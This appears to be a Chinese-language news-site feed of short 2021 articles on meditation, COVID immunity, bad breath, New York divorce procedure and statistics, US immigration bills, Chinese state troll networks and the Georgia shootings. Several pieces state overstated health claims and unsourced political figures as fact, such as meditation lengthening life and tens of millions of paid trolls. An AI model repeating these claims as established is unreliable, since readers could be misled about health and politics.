研究显示,人的神经有可塑性,我们可以训练大脑产生不同的反应,而打坐是最有效的训练方法之一。通过打坐,大脑中负责注意力和纾压的两个区域都会得到改善。

打坐帮助我们重新连接神经网络,让我们更加专注,减少分心,将注意力更好地转移到我们想要的位置。

不仅如此,打坐也使身体炎症好转。当人在生病的时候打坐,可以更有效地对抗疾病。

打坐还能使染色体末端的“保护帽”——端粒延长,“保护帽”越长,人就会越长寿;如果“保护帽”因年龄或创伤而缩减,人就可能出现早亡。所以打坐实际上就是在训练身体变得长寿。这些变化证实了打坐会让人延长寿命并更加健康。

打坐静心可以增强免疫力

目前科学家尚未完全了解静坐改变免疫系统的机制,但静坐能减轻压力,提升大脑功能,这会改善我们的想法和感觉,从而影响脑部发送给身体和免疫系统的化学信号。

当我们遭受压力,或陷入负面思想和情绪时,身体会进入求生模式,这时免疫系统就会停滞,人就容易生病。如果我们能自我舒缓压力、调节情绪,身体就会把能量投入免疫系统,从而增强抵抗力。

研究发现,静坐可以增强前额叶皮层、右前岛和右海马的活性,这些都是脑部的免疫系统指挥中心,因此静坐可以增强脑部与免疫系统的通讯,使其功能更强大。

睡前打坐可大幅提升睡眠质量

美国加利福尼亚大学洛杉矶分校(UCLA)曾经做过一项研究发现,打坐能够帮助大大提升睡眠质量。

据加州KPCC报导,科学家们找来49名55岁以上睡眠有困难的成年人参与实验。其中一半进行了一个6周的睡眠教育课程,包括睡眠习惯、放松方式和建立固定的睡眠时间。

另一半则进行一个打坐冥想课程,训练人们了解他们的思想和情感,避免对它们(思想和情感)做出反应或者被它们分心,而这正是人们在失眠状态时普遍出现的问题。

研究表明,加入打坐冥想组的人比参加睡眠教育课程的人,有著更好的睡眠质量并且较少失眠,其作用大约相当于诊所的睡眠理疗和安眠药的作用,但没有药品所产生的负作用。

研究者建议,对失眠者来说,打坐是个很好的治疗方法,至少在短期内。而打坐带给人睡眠的长期益处尚有待研究。

2021-03-25 / by / in , ,
纽约州:协议离婚,最简单的离婚方式,每一步该如何走?

文|他乡月更明

在美国离婚案件中,协议离婚,也叫无争议离婚,是代价最小、耗时最少、步骤也最为简单的一种离婚方式。采用这一方式的夫妻,往往仍然相互尊重,关心著对方,虽然彼此分离,但今后可能仍然是好朋友。

中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍

因为双方对离婚案件没有争议,所以,只需5步,即可走成离婚程序。

第一步:首先要向县文员办公室提交传票通知(Summons With Notice),或者“传票和起诉书”(Summons and Complaint)

有些法庭,原告可通过网络,使用NYSCEF系统,即纽约州法庭的电子填报系统,上传文件。可检查每个县的电子申报列列表(County List)来查看是否可行。网址为https://iapps.courts.state.ny.us/nyscef/AuthorizeCaseType

提出离婚者为原告,配偶为被告。

每总案件均需要一个案件编号,案件编号申请费为$210。

如果经济特别困难,不通过财务援助,无力提出离婚,可申请法庭费用豁免,具体信息可咨询县书记员。

如果有和解协议,在申请离婚时应一并提交。

如果不知道配偶地址,可请求法庭书记员办公室提供替代方法。

如果婚姻超过6个月,无21岁以下子女,可使用无争议离婚程序。

 

第二步:被告(Defendant)必须被亲自告知离婚案件

这一步,需通过向被告个人送达“传票通知”或者“传票与诉讼”及其它文件,来证明完成了法定的程序。这一程序称为“送达”。

如果不知道配偶地址,可请法庭书记员提供替代送达程序的办法。

原告向法庭书记员提交传票通知后,有120天时限来完成送交被告的程序。

还需要强调一点,原告绝对不允许亲自直接把传票通知送达被告,而是必须由其他年满18岁以上的人去完成送达。

把传票通知送达给被告的人,必须签署送达宣誓,证明其以正确的方式,把文件交给了被告。

第三步:被告答辩

被告接到通知后,可采用以下三种方式之一作为答辩。

1,被告应诉(Answer)。这意味著被告向高等法庭和原告提出应诉(answer)。离婚变成有争议离婚。此时,就需要咨询律师介入争议。

2,被告签署宣誓书,这是被告同意离婚的文件表格,其没有就离婚传票中所列的任何事项,提出任何争议。

3,还有一种回应方式是,被告没有任何回应,这意味著被告违约。

第四步:计入法庭日程安排,等待法官审阅

如果被告签署被告宣誓书(Affidavit of Defendant)或违约,接著需要完成无争议离婚案件的下一步,把案件计入法庭的日程安排:

1)根据每个县情况的不同,把离婚文件提交先书记员办公室或者高等法庭书记员办公室。

2)如果被告违约,从被告被送达之日起40天后,原告把余下的文件提交给县书记员。

3)如果被告签署了被告宣誓书,其余的文件可立即提交给县书记员。

4)提交费用总计$125。

5)如果在送达通知中,不涉及21岁以下子女,或离婚的理由是双方关系破裂无可挽回,原告可以使用无争议离婚程序,自己制作余下的文件。

第五步:法庭判决

法官如果批准离婚,将签署一份离婚判决书,并给被告一份已签署的副本。

根据各县情况的不同,判决可通过邮寄的方式,也可以自己前往领取。

判决必须交到县书记员办公室。这一步可能必不可少,可向高等法庭确认。

被告必须被送达一份判决书的副本,并完成送达宣誓书。

2021-03-24 / 1 Comment / by / in , , , ,
免疫力更关键 研究发现新冠疫苗起效果 免疫系统必须更强壮

文|David Wei

面对全球新冠疫情流行,许多民众把希望都寄托在疫苗上。很多人以为注射了疫苗之后,就万无一失了,因此不注意防护。最新研究发现,疫苗对变种病毒的效力明显降低,因此,提升自身的免疫力更关键。

近期在《自然》期刊发表的文章,研究员从数十名施打完疫苗的参与者身上取得血液样本,包括接种了两剂辉瑞疫苗28天后,以及接种完两剂莫德纳疫苗43天后的人。研究人员利用这些血液样本在一般病毒和变种病毒上做测试,观察抗体对病毒的中和反应。

研究结果发现,两款疫苗对于英国变种病毒的中和反应都没有太大变化,但是在对付南非变种病毒的时候,莫德纳疫苗的效力下降了12.4倍,辉瑞疫苗则下降了10.3倍。

病毒学专家分析,变种病毒更有免疫逃避功能,也就是说,它改变了“脸部特征”,借此逃避疫苗和人体免疫系统,不让抗体认出来。这样一来,按照旧病毒制造的疫苗,所激发的抗体,就很难识别出变种病毒。

要想让疫苗起到足够的效果,必须人的免疫系统足够强壮。

这也解释了一些人群接种疫苗之后,为何效力欠佳。比如,那些慢性病人、老年人,一般身体免疫力弱,打了疫苗后,产生的效力不如健康的人、年轻人所产生的效力。

所以,抵御新冠病毒,除疫苗外,自身的免疫力还起著决定作用。

2021-03-24 / by / in , ,
恼人的口臭!了解口臭三大原因,四大预防方法

文|雨荷

口臭令人烦恼和尴尬,不但影响心情,还影响你的好人缘。不是吗?有时候,一旦有了口臭,甚至好朋友靠近你时,都会禁不住屏住呼吸,紧锁眉头。

难道北极熊也有口干舌燥的问题吗? (图为网友创作,如有侵权请告知)

口臭非常普遍,在美国,有一半人 有过口臭 ,各个年龄层都可能遇到。而且,大部分人不知道自己有口臭。到底时什么导致口臭,又该如何预防口臭呢?

口臭的三大原因

导致口臭的一大“帮凶”,是含硫化合物。其产生于口腔里面的病菌,闻起来有点象硫磺的气味。如果牙齿没刷干净,或者有蛀牙,或者是有牙周病,导致食物残渣积累,在牙槽中产生病菌、牙菌斑、牙结石,这些东西在嘴巴里面慢慢累积,都会产生口臭。

每天清理舌苔,保持口腔干净。 (Pexels免费版权)

口臭的还与舌头有关。舌头表面的舌苔是不规则的,有很多小突起。口腔内的细菌和一些老化的细胞,就累积在舌苔上。对著镜子,观察尽力伸出的舌头,如果能看到上面有一层白白或者是黄黄的东西,就是那些细菌、老化细胞和食物残渣等积累在上面。

因此,如果你的口臭和舌头有关,那你单单在牙齿上下功夫,每日刷牙、做牙线、甚至抽空去洗牙,就解决不了口臭的根本问题。

口臭还与人们吃的食物有关

爱吃蒜头、洋葱人更要小心口臭问题。 (图为网友创作,如有侵权请告知)

有人喜欢吃气味很重的大蒜或洋葱,更甚者垂涎榴莲的刺激口感。如果你长期大量的吃这类食物,口腔中的味道一时就难以散去。因此,那些长期吃大蒜和洋葱的人,就会一直存在口臭问题。

如何测试口臭?

据专家介绍,牙医测试口臭的非法时:先让你深呼吸一口,然后吐出来。牙医根据你口腔里吐出来的气味,来判断你是不是有口臭。这是现在牙医普遍都在用的一个方法。
再一个方法就是检查舌苔。医生用按压的方式,用工具刮你舌苔的表面。如果挂出来的东西发黄,或者有味道,就会诊断为有口臭。

请牙医师为你检查是否有口臭,尽管有些尴尬,却是有效的方式。 (图为网友创作,如有侵权请告知)

预防口臭的四种办法,让口臭由内而外,一扫而空

第一,定期洗牙,做好牙齿的清洁,确保牙齿健康,没有牙龈发炎或者牙周病。如果是牙周病,就需要做深层清洗,每隔半年洗一次牙齿,口臭问题就会改善很多。

第二是清洁舌苔。有些人清洁舌苔,未清理到舌头后面,而舌后舌苔的清理,才是最主要的,也是导致口臭的细菌聚集最多的地方。

清洁舌苔,可用电动牙刷。有的电动牙刷很好,带有专门洁舌苔的部分。也可以直接用一般的牙刷清洁舌苔。

清洁的方法是:一定要从舌头后面,即舌根处开始。如果没刷到那儿,效果就不好。从后面开始,然后往前刷,重复动作,前后都要刷到。

上面的方法如果不能有效的清洁舌苔,还可以买那种专门清洁舌苔的工具。如果能有效的清除舌苔,就会很有效的减少口臭问题。

第三,使用漱口水。如果吃了大蒜或洋葱等重口味的食品,接著又要开会,或者见客人,这时候用漱口水漱一下,可以暂时掩盖口臭的味道。

但漱口水只能暂时起缓解作用,不触及根本问题,几小时后,口臭又会出来。建议不要买酒精成分很高的漱口水。因为酒精成分太高,会导致口干舌燥,而口干舌燥又会产生口臭。因此,常喝水,多喝水,保持口腔湿润,也有助于预防口臭。

依照上面方式做好清洁,相信你一定人人爱。 (图为网友创作,如有侵权请告知)

第四,咀嚼无糖口香糖也是一个不错的办法。含有木糖醇成分的那种口香糖,有助于口腔内唾液的分泌,可防止口干,从而避免口臭。

2021-03-23 / by / in ,
每分钟,都有美国人离婚,婚姻数据统计,一文让你看尽美国人离婚整体状况

供稿者:他乡月更明

柏杨先生对婚姻有独到的见解。他认为:天下没有十全十美的男女,对待婚姻,眼睛要半睁半闭,否则,如果眼睛睁得太久,恐怕连上帝身上都能挑出毛病。但真正做到这一点,不是说说那么容易,那需要相当的涵养功夫。一般人做不到,离婚也就成为一种必然。

追求自由的美国人,在上世纪60-70年代,因受极左思潮影响,加上实行无过错离婚法,曾一度出现离婚率暴增,忙坏离婚律师的现象。但最近几十年,美国的离婚率整体呈现出下降趋势。

我们来看看美国与离婚有关的各类统计(多为2019年数据)。

1,美国人的离婚率实际在40-50%之间。每36秒出现1宗离婚案,每天离婚数2,400宗,每周为16,800,每年约为87,6000,说明有大约超过170万人离婚。

2,据美国人口普查消息,离婚率增长由再婚多少次有关,越是再婚,越可能离婚。首次婚姻,离婚率为41%;二次婚姻,离婚率为60%;第三次婚姻,离婚率为73%。

3,全美45个州离婚率2.9/1,000,不包括印第安纳州、加州、夏威夷州,新墨西哥州和明尼苏达州。2/3的离婚由女性提出。

4,70%在1990年代结婚的夫妇,15年后依然生活在一起。1970年代和80年代结婚的人,65%未离婚。

5,本世纪初期结婚,受过大学教育的人,11%在婚后第7年离婚;未接受大学教育的,17%在婚后第7年离婚。

6,美国的离婚率从1960年代开始一直增长,直到1990年代,开始出现下降趋势。逐年评估离婚数据,可看出美国离婚率普遍下降。

7,离婚率呈现季节性爆发。1月份和3月份申请离婚者最多。这难道与春天快到了有关么?也有研究认为,与节假日夫妻关系压力增加有关。

8,各州离婚率差异达。离婚率最低的州为伊利诺伊州和路易斯安那州,离婚率为1.9/1,000;离婚率最高的州是内华达州和俄克拉荷马州,离婚率分别为4.5/1,000和4.1/1,000。这两个州都以赌场和大麻闻名,俄克拉荷马州由8%的人口医用大麻登记者。

9,美国人的婚姻平均持续时间8.2年。但一些学者认为实际婚姻持续时间可能接近7年,因为离婚一般还要花一年时间。纽约州婚姻维持时间最长,约为12.2年。

10,现在美国人的离婚率,低于10年前的美国人。过去10年,离婚率下降。成功的婚姻,比以前有增长,婚后有50-60%的可能性不会离婚。

11,全美25-29岁之间的成年人,离婚率为24/1,000;40-49岁之间,为21/1,000;50岁以上的人,离婚率为10/1,000。

12,18岁之前结婚的,10年后离婚率为48%,25岁后结婚的,离婚率为25%。20-25岁之间的,离婚有44-60%离婚的可能性。

13,银发族离婚率增加。1990年以来,全美50岁以上的人,离婚率几乎翻倍。65岁以上的,离婚率增长3倍,从过去的2/1,000,变为6/1,000。现在50岁以上的人比以前更可能离婚。

14,28-32岁之间结婚的人,离婚的可能性更小。可能那时候,他们更成熟,事业也更加稳定。

15,离婚好像有传染性。根据布朗大学一团队的研究,如果有朋友离婚,那么你离婚的可能性也会变大,有75%的可能性离婚。如果你朋友的朋友离婚了,你离婚的可能性增加33%。看来,对朋友的婚姻,还是知道的少一点为好。

16,1990年代,美国人结婚率为9.8/1000,现在为6.9/1,000。但因为现在有更多的人未办理结婚手续就一起生活,所以离婚率不能完全反映长期关系恶化的变化。

17,白人女性分居的,有91%会在3年内离婚,西班牙裔为77%,非裔美国人为67%。长期分居未计入离婚,因此,实际的婚姻破裂率,可能高于离婚率。

18,离婚率与教育水平有关。在2006-2010年首次结婚,有学士学位的女性,有78%预计婚姻可能持续至少20年。相反,那些同期结婚受过一些大学教育的女性,只有49%的人认为自己的婚姻能够维持20年;高中文凭及以下者,只有40%。但也有认为,这可能与年龄有关。文凭高的女性,结婚年龄往往偏大,人也更成熟。

20,千禧一代,离婚率偏低。1981-1998年代之间出生的人,离婚率比年长的人更低一些。但这可能与他们结婚年龄更迟一些有关,也可能因为他们中有更多的人选择同居。

21,同居影响离婚率。婚前未同居的夫妇,婚后20年内,离婚的可能性更小,首次婚姻者在前5年内离婚的可能性有20%;相比之下,同居的夫妇,5年内分居的可能性为49%。10年内,已婚夫妇离婚的可能性为33%,同居者则有62%的可能性分居。

22,据Institute for Divorce Financial Analysts研究,性格不合,是离婚的首要原因,占研究参与者理由的43%。不忠和金钱,对离婚也影响重大,分别占28%和23%。这三种原因是夫妇离婚的最常见理由。其它导致离婚的因素还有子女养育、药物上瘾、虐待等等。

 

 

2021-03-22 / by / in , ,
移民政策让无证农民工有福了,美墨边境危机未解,中美洲移民受政策鼓舞,持续涌向美墨边境

【金牌网讯】成千上万来自中美洲的移民,正在美墨边境等待进入美国,而本周众议院顺利通过两项移民法案,这是否会鼓舞更多的无证移民涌往美国?在本周激烈的较量之后,下周这一议题还将继续在两党之间引起对抗。

国土安全部部长马约卡斯(Alejandro Mayorkas)本周三在众议院小组作证后说,美国在南部边境追踪看到最近20年数量最多的移民。他说,美国需要最终修复移民系统,并解决中美洲几国移民的根本原因。

对于边境大量增加的非法移民,拜登政府启动了联邦紧急事务管理局(FEMA),协助处理未来90天移民人数上升的问题。

但边境危机,并未耽搁国会众议院以压倒性多数通过两项移民法案。

第一项法案为本周四众院通过的《美国梦与承诺法案》。此法案为幼年时被带入美国的230万无证移民提供了一条出路,使他们能够获得永久居民资格并最后获得公民身份;也为30万临时受保护者以及被延迟递解出境的受益人,提供获得公民身份的路径。新法案将提交参议院。

另一项法案为本周四通过的《农场劳工现代化法案》(Farm Workforce Modernization Act)。该法案为超过100万无合法身份的农业工人创建了一套系统,帮他们获得临时性身份,并有机会成为永久居民。这项法案也将改变现有的H-2A临时农业工人签证计划。

众议院多数党领袖霍耶( Steny Hoyer )本周四在评价这两项法案时对媒体表示:这几百万人每天屏住呼吸,生活在恐惧中,他们可能被递解到遥远的土地上,那里并不是他们的家。议员们要采取行动,帮助他们更容易地呼吸。

民主党的做法是否和美墨边境危机有关?除了对拜登政府的边境政策进行猛烈批评之外,德克萨斯州参议员John Cornyn 和Ted Cruz ,下周将带领参议院代表赴德克萨斯州和墨西哥边境考察,他们认为:拜登政府让那些试图非法进入美国境内的移民不会面临后果,加剧了边境的危机。

另外,众议院共和党众议员对民主党的移民计划也提出了反驳。

佛罗里达州共和党众议员萨拉萨尔(María Elvira Salazar)本周三在国会大厦的新闻发布会上提出了自己的移民计划。计划包括:增加边境安全资金,同时立即给“追梦人”合法身份,并提供永久合法化的途径。

她在草案中创制“尊严项目”,为通过犯罪背景调查的无证移民提供出路,让他们能够继续工作和交税,以得到更新的五年签证,保持合法地位。在完成“尊严项目”后,参与者有机会参加“赎回项目”,最终获得永久居民身份。

她说,在美国没有哪个政党能够垄断同情心,共和党人也有同情心,我们想把尊严给与那些生活在我们中间多年以及那些想来美国的人,但是他们必须遵守法律。

2021-03-21 / by / in , , , , , ,
移民担保条件放松,国土安全部撤下一拟议修改的规则,担保人资格和风险审查减小

【金牌网讯】为减少合法移民系统的障碍,不给那些希望资助移民来到美国的家庭,增加额外的负担,美国国土安全部昨日(3月19日)宣布撤除一项支持“宣誓证明”的建议规则。

去年10月份建议修改的规则,要求美国的美国公民、美国国民和绿卡持有者,在担保他人移民时,需提供过去三年的报税证明,个人银行信息及信用报告和分数。过去三年内领过福利的人资格受到限制,需要共同担保人。以前接受过公共福利,或没有履行合同规定的义务,都会影响担保资格。

拟议修改的宣誓程序,对担保人的收入证明和合同执行,要求提供更严格的依据。这增加了担保人的难度和风险,但有利于移民官员更好的做出决定:判断一个担保者是否有能力维持收入,达到或超过申请门槛;合同执行期间,担保人是否有能力维持对被担保人的生活支持。

撤除这项拟议中的政策,源于今年发布的总统行政令EO14012提出的要求,要恢复人们对合法移民系统的信心,增强美国对新移民的融合和包容。官员认为,撤除这一立法障碍,有助于移民更好的获得可用的政府服务。

据美国国民和移民局网站介绍,如果不撤除这些规则,其将在在今后10年内,给那些代表有意移民者来签署“支持宣誓”的美国公民、美国国民和永久居民带来大约24亿美元的沉重负担。

这项政策的改变,将为去美国留学、工作,以及位办理父母移民、兄弟移民等,提供更为宽松的条件。

 

2021-03-20 / by / in , , , , , ,
古风:起底全球最大的网络黑社会组织

古风:起底全球最大的网络黑社会组织

在网络世界,有一个专门危害网络安全与网络健康的群体,这个群体被网民称其为网上黑社会。他们当中有网络黑客、网络打手、网络枪手、网托、网络评论员(中共五毛)等。这些人的行为小到危害个人信息安全,大到危害国家安全。而在这些犯罪组织中,全球规模最大的组织是中共的网络水军。

无论在香港反送中运动,还是在武汉疫情、台湾大选、美国大选等国內外各种重大事件中,在各大社交媒体上都会出现大量的中共网络水军,他们就像非洲蝗虫一样,每时每刻都在危害着整个世界。

中国网络水军的发展轨迹

从各大搜索引擎的历史数据来看,自2004年开始,网上便开始出现一些商业性网络水军组织。通过网上数据分析,中国网络水军大致可分三个发展阶段:

1、2004年-2009年为中国网络水军的初始阶段。这个阶段,中国网络水军的业务主要以代人删帖、销售推广、代人维权为主。

2、2010年-2013年为中国网络水军的业务发展阶段。这个阶段的网络水军的业务范围开始升级。各大网络水军公司开始代理个人、企业、地方党政机关、事业单位的网络危机攻关。在这个阶段,网上开始出现“五毛党”(中共官方雇用的水军) 参与公共事件。

3、2014年-2021年为中国网络水军的业务转型阶段。2014年2月,中共正式成立,该机构下设办事机构中央网络安全和信息化领导小组办公室(简称“中央网信办”) 。其下设5个业务部门:网络评论。工作局、网络社会工作局、移动网络管理局、网络安全协调局、国际合作局。该机构的职责就是网络舆情监控、水军组织管理、网络攻关、大外宣及对外统战。

中央网信办成立后,便开始借网络严打之名,把民间各类松散性的黑客和网络水军公司加以整合。同时由团中央出面,在全国各大高校组织招聘了上千万大学生作为兼职水军,并由中央政法委出面在各大监狱组织上了百万在押犯人作为专职水军。如此一来,中国的水军就从游击队变成了中共的“正规军” 。

据中共内部人员透露,早在2017年年底,中共网信办旗下水军队伍的规模就超过了3000万人,之后每年都还在不断招聘,截止到2020年12月底,中共网信办旗下的水军队伍规模早已超过了4000万人。政府财政每年用于网上维稳(雇用水军)的投入高达5000亿人民币以上。

中共网络水军的组织形态

据中共内部人员介绍,中共对网络水军的组建与管理非常重视,从中央到地方,都设立了专门的水军管理机构。人员招聘、业务培训、任务分配、薪水发放、开会等都是在网上进行。水军人员大致由以下六类人员组成:在职团干、网络名人、在校大学生、网络公司员工、监狱犯人、在家失业者。水军的工资待遇是根据不同的分工而定,但工资分配都是以计件的方式为主。在水军中,工种很多,大致可分以下几类:水军召集人、技术人员(黑客)、撰稿人、网络评论员、舆情监督员等,而水军又分国内水军和国际水军两大类。

中国网民对五毛党深恶痛绝

对于中共每年耗巨资豢养几千万五毛党的行为,民众是敢怒而不敢言。在中国,各大门户网站在中共的授意下,任由五毛党压制网民正常的批评、制造虚假民意、掩盖中共各种犯罪事实、隐匿真实民意、破坏社会公序良俗、阿谀奉承“英明领袖” 、虚构国家繁荣假象、煽动民族仇恨、恶意制造它国谣言、对中共异议人士实施污名化、篡改历史真相、传播愚民信息等,每当网上出现中共主要领导人的文章时,其评论几都是五毛党的马屁帖。对于这些五毛党,中国网民是深恶痛,可中共当权者却视其为民意。

中共网络水军已成为国际毒瘤

在网络全球化的今天,中共的网络水军早已危及到世界各国的社会安全。在网络世界,中共的网络水军就像附骨之疽,到处在世界各地作奸犯科。如:网络黑客攻击它政府要害部门、科研机构、大型企业、院校的网站窃取各种信息资料;中共五毛党在网上恶意攻击谩骂它国领导和反共人士;中共网络名人在网上实施文化侵略等。总之,中共水军利用民主国家的言论自由到处作案。

早在十年前,美国就一直把中共的网络攻击列入中美两国外交的重要事项,可至今都无法得到改善,反而是愈演愈烈。

3月18日,拜登团队在阿拉斯加首次与中方进行高层对话,美国国务卿布林肯在会晤中共外交官杨洁篪和王毅时说:“我们此次将讨论令人深切关注的中国(中共)行为,包括在新疆、香港、台湾、对美国的网络攻击、对盟国的经济胁迫等主要內容。”

此次会议美国沒有把中国南海问题和中美两国贸易关税问题列入议程,而是将网络攻击当作此次会议的主要议题。可见,中共的网络水军对美国的危害有多大。

在美国的社交媒体上,中共的网络水军比蝗虫来袭都要可怕。

据美国全国公共广播电台(NPR)报道,2020 年 6 月 11 日,推特公司宣布删除属于中国(中共水军)的 23,750 个账户,这些帐户涉及疫情信息造假。

2020年9月22日,脸书公司关闭了一家来自中国的假账号网络(中共水军),该网络通过超过180个假账号、群组及专页“协调”干涉政治讨论。

2020年10月2日,美国总统特朗普被确诊感染了新冠病毒。当天,中共五毛党在推特、脸书等社交媒体就大量发布“希望特朗普死掉”的帖子。事后,推特和脸书都查出这些信息来自中国水军。

中共对网络黑社会既受又恨

中共既害怕网络黑社会,同时又离不开网络黑社会。在中国,公安部门每年都会开展各种形式的网络严打,对于一些有影响的网站、网络大V、黑客、民间网络水军都是从严打击,中共官媒几乎把网络黑社会说得十恶不赦。针对网络黑社会,中共最高人民法院、最高人民检察院、公安部、司法部还联合颁发了《关于办理利用信息网络实施黑恶势力犯罪刑事案件若干问题的意见》,简称《“网络黑社会”意见》)。

然而,中共为了巩固其统治地位,他们又完全不顾形象去专门组织网络黑社会。同样是网络黑社会,服务中共就是合法的,而服务其它对象就是非法的。可见,中共对网络黑社会既爱又恨。

2021-03-20 / by / in , ,
乔治亚州枪杀案 行凶者坦承作案动机 但有些媒体有些人硬是不承认其动机

【金牌网讯】本周二造成8人死亡的乔治亚州枪击案,在美国社会引起震动。虽然凶手已被确定了身份,他还对警方称,他的作案动机源于他想消除自己的性瘾。但一些舆论和政治势力,似乎刻意要把这起案件,和种族歧视联系起来,否认枪手承认的动机。

有一位消息人士告诉CNN,朗因为性瘾,被赶出房子。他的一位室友说,朗对自己的性瘾感到羞愧,他经常到按摩店寻春,以前还为此接受过治疗。
但警方的言论立即受到关注。批评者称,被害者中有6人是亚裔,警方忽略了行凶者种族歧视的动机。

在次日的新闻发布会上,警方曾披露,枪手朗(Robert Aaron Long)对他们说:他有性瘾,他把他盯上的那三家生意视为诱惑,他想摆脱诱惑。执法人员正在调查他的说法是否确实。

在8名受害者中,有两人为华裔,4人为韩裔。两位白人。还有一人头部遭受非致命枪击,仍在重症监护室救治。
Soon C. Park, 74岁
Hyun J. Grant, 51岁
Suncha Kim, 69岁
Yong A. Yue, 63岁
Delaina Yaun, 33岁
Xiaojie Tan, 49岁
Paul Andre Michels, 52岁
Daoyou Feng, 44岁

但美国左派媒体,比如,NPR的报道,直接把这起案件和种族歧视联系起来。称过去一年,对亚裔美国人和太平洋岛民的仇恨犯罪飙升,这些人所在的社区受到骚然和暴力的威胁。这些报道直接忽视了凶手对警方初次接触时,交代的直接动机。

拜登和哈里斯,也将在周五赶赴乔治亚州,会见该州的亚裔美国人领袖。

但推特上许多亚裔美国人,并不认同枪手的作案动机源于种族歧视。因为遇害者中也有两位白人。而且,美国人对其它族裔非常友好,不存在系统性的制度性的歧视。把公共治安案件往种族歧视上靠,是想挑起种族间的矛盾。

在美国生活28年的华人企业家楼新跃,2020年曾在美国人口普查办公室工作。他在接受大纪元时报采访时表示,他在美国生活28年,没有碰到过种族歧视,相反,把一个治安案件,硬往种族上扯,这本身才是种族歧视。

2021-03-19 / by / in , , ,
6英尺变为3英尺,学生们可以离得更近了,CDC放宽学校社交距离 

【金牌网讯】美国疾病预防和控制中心(CDC)周五(3月19日),放宽对学校学生们之间身体距离的要求,6英尺缩短到3英尺。这一变化有助于更多的学生回到教室。

此前,立法者和学生家长们一直在大规模推动孩子们回到教室。

此规定只适用于学生,不包括老师和其它成年员工。

有研究表明,在疫情大流行期间,出现抑郁和焦虑的儿童人数增长。而在教室上学的孩子,比那些只通过视频上学的学生,压力更小。
这一变化适用于全美的小学、初中和高中。但在那些Covid-19传播率高的地区,学生们仍需要保持6英尺距离。

但是,在那些不带口罩的场所,比如,午餐时间,合唱队,乐队演奏时,以及呼气较多、激烈的运动等,无论传播率高低,还要保持6英尺距离。CDC建议,这些活动应尽可能使用户外或者在空间大通风良好的地方。

上周发表的几项研究为这一变化提供了依据。这些研究对比了Covid-19在麻州公立学校内学生和教职工之间的传播率,发现保持3英尺或者6英尺的身体距离,传播率几乎没有不同。

2021-03-19 / by / in , , , ,
这位纽约男运气真背, 一天被拘捕三次; 这些佛州人运气真好,一次小费收到1万

【金牌网讯】人人都想好运气。本周发生的两则小故事,告诉我们,运气不只是上天眷顾,还有与本人的行为有关。

第一位是运气不佳的罗伯特.拉狄克(Robert Radek),住在纽约州阿尔斯特县。本周三(3月17日)上午7:55,他在纽约上州牛堡的街道上,驾驶一辆1994年的吉普车时,因违规被纽约巡警察拦下。

据纽约邮报报道,州警察称,拉狄克驾驶著一辆被吊销了牌照的汽车,他还持有裂纹可卡因。拉狄克被指控犯有非法拥有管制药物的7级轻罪。还好,他在没有保释的情况下被释放,定于4月19日上庭聆讯。

谁知,到了当天下午2:30,还是那位州警察,在另一城市,再次以涉嫌交通违规的理由拦停了拉狄克。这时候,他驾驶的是一辆2007年本田。这次,警察发现,他持有更多的管控物质:海洛因和裂纹可卡因。他被控7级轻罪,随后再次被无保释释放,还是在4月19日出庭。

想不到,3小时后,又有警察注意到他。这次,拉狄克被发现又在驾驶著第一次被拦截时开的那辆吉普车,在牛堡街道上行驶。警察认定他涉嫌多次交通违规,而且驾驶时受药物影响。他被指控在能力受损时驾驶,以及加重的无照操作,属于E级重罪。

运气好的例子发生在本周二的在佛罗里达州马拉松市(Marathon)。这里有一家广受欢迎的海滨餐厅。一位顾客在早餐之后,为餐馆留下了1万美元小费。她当时的餐费只有193美元。

这为女士当日在该餐馆有一个10人的餐会。女侍者卡拉·威尔逊(Khara Wilson)说,她当天上午很忙,但还是抽时间在餐前和餐后与客人小聊一会,问他们从哪来,何时离开。她印象中这位女士是和子女及孙辈在一起,来自阿克拉荷马州,将乘坐一家私人飞机飞往佛罗里达礁岛群国际机场。

最后离开前,这位女士走近威尔逊,问她有多少人在厨房工作。了解到人数后,她说要给他们一个惊喜。随后威尔逊和同伴们吃惊的看到信用卡单据上那笔令人惊喜的数字。她几乎不敢相信自己的眼睛,还询问这位慷慨的女士,你是不是在开玩笑啊?人家当然是认真的。

随后,餐馆的14位雇员分享这笔了这笔意外的惊喜。威尔逊的经历告诉我们:用心做好你的工作,给他人带来温暖,就可能得到善意的回报。

2021-03-18 / by / in , , , ,
准备离婚吗?准备好7类文件,就可以放心开始 离婚诉讼中 运气偏爱有准备的人

【金牌讯】在离婚程序开始前,离婚律师将需要当事人提供完整而真实的信息,来支撑自己所提出的任何主张,以此说服法官,来更好的维护当事人的权益。如果这些前期准备做的好,可免去很多麻烦,并节省时间和大笔费用。

 

中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍

比如,所得税申报表,各类与婚姻有关的债务凭证、资产、财产估价书等,都是离婚诉讼时必不可少的重要文件。缺少一份,诉讼可能就不得不停下来。

比如,您的配偶可能对调解员或在离婚法庭上说:我是用自己个人的钱来支付房屋抵押贷款的,我不是从俩人的共同资金中支付的。他以此来保留自己在婚姻中住房的权益。你如何证明对方的说法?有了这些保存的文件就可以证明真实性。

因此,向离婚律师提供财务或其它所有文件,来确定婚姻中所发生事情的真实性,就非常重要。

准备文件时,可以向律师提供纸本副本或数码副本,并确保自己保留一份。提供数码副本时,应将其备份或在线保存到云端服务中,以便轻松取得,也不怕电脑损坏而丢失。

内容完整且条理分明的文件,有助于使离婚谈判阶段变得更加顺利。另外,在出庭时,组织齐全和内容完整的文档,将使你拥有更多支持该案的证据。

我们搜集整理了一些专业律师的建议,把这些需要准备的文档分为以下7个类别。按照这些提示来准备文件,也许可减少离婚过程中文件的遗漏。

1. 与收入有关的文件

你过去一年中所有工作的薪水存根。自雇人士,需提供所得税申报表,以及自我报告的与收入相关的各种税表或业务表。其中包括双方在过去3年中填报的各类商业利润文档。

配偶在同一时期的薪水存根。这些支票存根通常会显示年初至今的收入和扣除额。

对于自雇人士,需要提供有关业务费用的文件,包括:支票簿、银行对帐单、已取消的支票、付款收据、财务报表以及损益表,等等。

至少提供过去3年中,州或联邦的联合或个人纳税申报表副本。

你和配偶的工作收入,要有支票分类帐副本,以表明结婚期间所付费用。

为担保银行贷款或其它目的,而准备的各种财务报表以及资产净值报表副本。

任何其它可以确定双方各自的净资产、共同净资产及双方各自收入的信息。

2. 与房地产有关的文件

任何能够显示共同拥有或单独拥有的房地产的法律文件。

